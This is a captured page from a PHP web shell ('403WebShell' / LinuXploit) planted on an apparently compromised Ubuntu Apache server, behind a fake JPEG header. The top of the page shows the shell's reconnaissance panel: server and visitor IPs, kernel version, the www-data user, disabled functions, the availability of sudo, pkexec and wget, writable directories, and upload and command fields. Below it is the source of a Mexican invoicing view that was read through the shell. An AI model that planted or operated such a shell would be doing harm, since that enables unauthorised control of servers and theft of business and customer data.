����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.148.221.78
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/sellsFac4M-view.php
<?php 
date_default_timezone_set("America/Mexico_City");

//////////configuracion de servidor y ruta//////////////////
 $tipoServer = ConfigurationData::getByPreffix('server')->val;
if($tipoServer=='W'){
	$server = ConfigurationData::getByPreffix('directorioWin')->val;
	$rutasdk = ConfigurationData::getByPreffix('sdk')->val;
	$dominio = 'http://localhost/';
}else{
	$server = ConfigurationData::getByPreffix('directorioLinux')->val;
	$rutasdk = ConfigurationData::getByPreffix('sdk')->val;
	$dominio = ConfigurationData::getByPreffix('dominio')->val;
}
///////////////////////////////
?>


<section class="content"> 
<div class="row">
	<div class="col-md-12">

<?php if(isset($_SESSION["client_id"])):?>
		<h1><i class='glyphicon glyphicon-shopping-cart'></i>Mis Ventas</h1>
<?php else:?>
	<a href="./?view=sellsFacOLD" type="button" class="btn btn-default">
		<i class="fa fa-download"></i> Todas <span class="caret"></span>
	</a>

<div class="btn-group pull-right">
  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
    <i class="fa fa-download"></i> Descargar <span class="caret"></span>
  </button>
  <ul class="dropdown-menu" role="menu">
    <li><a href="http://18.217.242.216/zip/4-directorio.php">Descargar Facturas (zip)</a></li>
    <li><a href="report/sells-xlsx.php">Excel 2007 (.xlsx)</a></li>
<li><a onclick="thePDF()" id="makepdf" class="">PDF (.pdf)</a></li>
  </ul>
</div>
		
<?php endif;?>
		<div class="clearfix"></div>
		

<?php
$products = null;



	
	 $fecha = date('Y-m-d h:i:s');
			$fechaAtras = strtotime ( '-1 day' , strtotime ( $fecha ) ) ;
			$fechaAtras = date ( 'Y-m-d  ' , $fechaAtras );
			
			$fechaActual = date("Y-m-d h:i:s",time());
			
		
		//POR FECHAS
$products = SellData::getSellsM($fechaAtras, $fechaActual);
		//TODAS LAS FACTURAS
$productF = FacturaData::getSellsM();

$productM = FacturaData::getSellsMonth4_0M();
//print_r($productM);
//die;
$error = 3000;
if(count($productM)>0){

	?>
<br>
<div class = "table-responsive">
<div class="box box-solid box-warning">

	<div class="box-header">
	<h3 class="box-title"> Detalle De Facturas   

		
		 
		 </h3>
		
	</div>
<div class="box-body table-responsive no-padding">
	<table id="table_transaction" class="table table-bordered table-hover table-responsive datatable">
	
	<thead>
		<th>Email</th>
		<th>Factura</th>
		<th>Id</th>		
		<th>Total</th>
		<th>Cliente</th>
		<th>UUID</th>
		<th style="width:20px;">Status</th>
		<th>Correo</th>
		<th>Fecha</th>
		<th>Cancelar</th>
	</thead>
	

	<?php 
	$total=0;
	foreach($productM as $sell2):?>
				<tr style="font-size: 10px;">
						<td> 
							<a  title="Enviar Correo Guardado" href="index.php?view=email4&id=<?php echo $sell2->sell_id;?>&sale_id=<?php echo $sell2->sale_id;?>&mail=<?php echo $sell2->image;?>" class="btn btn-info"><i class="glyphicon glyphicon-send"></i></a>
						<button type="button" class="btn btn-warning edit " value="<?php echo $sell2->sale_id; ?>"><span class="glyphicon glyphicon-envelope"></span></button>
						</td>
						
						<td>
						<?php 
						
						// Ruta del directorio donde están los archivos
							$path  = '/var/www/html/sdk2/timbrados'; 

							// Arreglo con todos los nombres de los archivos
							$files = array_diff(scandir($path), array('.', '..'));
							//print_r($files);
						
							// Divides en dos el nombre de tu archivo utilizando el . 
								$data          = explode(".", $file);
							// Nombre del archivo
								$fileName      = $data[0];
							// Extensión del archivo 
								$fileExtension = $data[1];
							// Obtienes tu variable mediante GET
								 $code = "cfdi_factura_".$sell2->sale_id;
								 echo $fileName;
								if($code == $fileName){
									echo $fileName;
								}

							
						  $nombre_fichero = '/var/www/html/sdk2/timbrados/cfdi_factura_'.$sell2->sell_id.'.xml'; // Obtenemos la ruta al archivo de tu BD
				
								if (file_exists($nombre_fichero)) {
						?>
						 <a title="ver xml de la factura" href="http://18.217.242.216/sdk2/timbrados/cfdi_factura_<?php echo $sell2->sell_id; ?>.pdf" class="btn btn-success"><i class="glyphicon glyphicon-file"></i></a>
						<?php 
								}else{
									echo "No estan archivos XML,PDF";
								}
							
						?>	
								
						
						
						<a href="index.php?view=onesell1&id=<?php echo $sell2->sell_id;?>&sale_id=<?php echo $sell2->sale_id;?>" class=" btn btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
					
						</td>
						
						<td>	<span id="sale2<?php echo $sell2->sale_id; ?>"><?php echo $sell2->sell_id; ?></span>
								
						</td>

						<td style="width:100px;">
						<?php
						$total= $sell2->price_out+$total;
							echo "<b>$ ".number_format($sell2->price_out,2,".",",")."</b>";
						?>			
						</td>
						
						<td>
							<?php echo utf8_encode($sell2->presentation); ?>
						</td>
						
						<td style="width:200px;">
							<?php
							

							echo  $sell2->name; ?> 
						</td>
						
						<?php if($sell2->is_service>0): ?>
						 <td title="Factura Generada"> G </td>
						 <?php else:?>
						 <td title="Factura Cancelada"> C </td>
						<?php endif;?>
						
						<td>
							<?php echo $sell2->image; ?>
						</td>
						
						<td>
							<?php echo $sell2->created_at; ?>
						</td>
						
						<?php if($sell2->is_service>0): ?>
						   
							<td style="width:30px;">
								<a href="#" onclick="prueba(<?php echo $product->id; ?>)" id="oper-<?php echo $product->id; ?>" class="btn tip btn-xs btn-danger" title="Eliminar">
							<i class="glyphicon glyphicon-trash"></i></a> 
							</td>
						<?php else:?>
						   <td>  </td>
						<?php endif;?>
						
					
				</tr>
				

	<?php endforeach; ?>			



</table>
<div class="clearfix"><h1>Total: $ <?php echo number_format($total,2);?></h1></div>
</div>
</div>
</div>

				<!-- Modal -->
				<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
					  <div class="modal-dialog" role="document">
							<div class="modal-content">
								  <div class="modal-header">
									<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
									<h4 class="modal-title" id="myModalLabel">Enviar Factura por Correo</h4>
								  </div>
								  <div class="modal-body">
									<form method="post" action="http://18.217.242.216/pos36/pos11/?action=email4">
									 
									<input  type="text" style="width:350px;" class="form-control" name="sell_id" id="sell_id" required>	
								
									
									  <div class="form-group">
										<label for="exampleInputEmail1">Usuario:</label>
										<select class="form-control" name="user_to" required>
											<option value="">-- SELECCIONE --</option>
											<?php foreach(UserData::getAll() as $u):?>
												<?php if($u->id!=$_SESSION["user_id"]):?>
											<option value="<?php echo $u->id; ?>"><?php echo $u->name." ".$u->lastname; ?></option>
										<?php endif; ?>
											<?php endforeach;?>
										</select>
									  </div>
									  
									  <div class="form-group">
										<label for="exampleInputEmail1">Correo:</label>
										<input class="form-control" type="text" name="email" id="email" placeholder="Correo eletronico"required>
									  </div>
									  
									  <div class="form-group">
										<label for="exampleInputPassword1">Mensaje:</label>
										<textarea class="form-control" name="message" id="message" rows="3" placeholder="Mensaje"></textarea>
									  </div>
									  <button type="submit" id="update" name="update" class="btn btn-primary">Enviar</button>

									</form>
								  </div>
							</div>
					  </div>
				</div>



	<?php
}else{
	?>
	<div class="jumbotron">
		<h2>No hay ventas</h2>
		<p>No se ha realizado ninguna venta.</p>
	</div>
	<?php
}

?>
	</div>
</div>



</section>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>

<script type="text/javascript">
		/*
		SweetAlert
		*/

		async function prueba(id) {
		const { isConfirmed, value } = await Swal.fire({
											title: 'Eliminacion de Producto',
											text: "Se eliminara registro de manera permanente, desea continuar!",
											icon: 'warning',
											input: 'password',
											showCancelButton: true,
											confirmButtonColor: '#3085d6',
											cancelButtonColor: '#d33',
											confirmButtonText: 'Si, borrar!!'
										});
			$.ajax({
				type:'post',
				url:"./?action=loginfac4",
				//contentType: 'application/json; charset=utf-8',
				data: { pass: value, id: id },
				dataType: 'json',
				success:function(res){
					console.log(res);
					if(res==true){
						Swal.fire(	'Buen trabajo!',
									'Producto eliminado!',
									'success')	
					setTimeout(function(){ window.location.reload(); }, 3000);
					}else{
						Swal.fire({
						  icon: 'error',
						  title: 'Oops...',
						  text: 'Datos invalidos',
						 
						})
					}
				}
			})
			
		}

$(document).ready(function(){
	$(document).on('click', '.edit', function(){
		var id=$(this).val();
		var first=$('#sale2'+id).text();
		var message = 'Envio de Factura Folio ' + first;
	
		$('#myModal').modal('show');
		$('#sell_id').val(first);
		$('#message').val(message);
		
	});
});


        function thePDF() {
var doc = new jsPDF('p', 'pt');
        doc.setFontSize(26);
        doc.text("<?php echo ConfigurationData::getByPreffix("company_name")->val;?>", 40, 65);
        doc.setFontSize(18);
        doc.text("VENTAS", 40, 80);
        doc.setFontSize(12);
        doc.text("Usuario: <?php echo Core::$user->name." ".Core::$user->lastname; ?>  -  Fecha: <?php echo date("d-m-Y h:i:s");?> ", 40, 90);
var columns = [
    {title: "Id", dataKey: "id"}, 
    {title: "Cliente", dataKey: "client"}, 
    {title: "Total", dataKey: "total"}, 
    {title: "Estado de pago", dataKey: "p"}, 
    {title: "Estado de entrega", dataKey: "d"}, 
    {title: "Almacen", dataKey: "stock"}, 
    {title: "Fecha", dataKey: "created_at"}, 
];
var rows = [
  <?php foreach($products as $sell):
  ?>
    {
      "id": "<?php echo $sell->id; ?>",
      "client": "<?php if($sell->person_id!=null){$c= $sell->getPerson();echo $c->name." ".$c->lastname;} ?>",
      "total": "<?php
$total= $sell->total-$sell->discount;
		echo "$ ".number_format($total,2,".",",");
?>	",
      "p": "<?php echo $sell->getP()->name; ?>",
      "d": "<?php echo $sell->getD()->name; ?>",
      "stock": "<?php echo $sell->getStockTo()->name; ?>",
      "created_at": "<?php echo $sell->created_at; ?>",
      },
 <?php endforeach; ?>
];
doc.autoTable(columns, rows, {
    theme: 'grid',
    overflow:'linebreak',
    styles: { 
        fillColor: <?php echo Core::$pdf_table_fillcolor;?>
    },
    columnStyles: {
        id: {fillColor: <?php echo Core::$pdf_table_column_fillcolor;?>}
    },
    margin: {top: 100},
    afterPageContent: function(data) {
    }
});
doc.setFontSize(12);
doc.text("<?php echo Core::$pdf_footer;?>", 40, doc.autoTableEndPosY()+25);
<?php 
$con = ConfigurationData::getByPreffix("report_image");
if($con!=null && $con->val!=""):
?>
var img = new Image();
img.src= "storage/configuration/<?php echo $con->val;?>";
img.onload = function(){
doc.addImage(img, 'PNG', 495, 20, 60, 60,'mon');	
doc.save('sells-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
}
<?php else:?>
doc.save('sells-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
<?php endif; ?>
}
</script>


Youez - 2016 - github.com/yon3zu
LinuXploit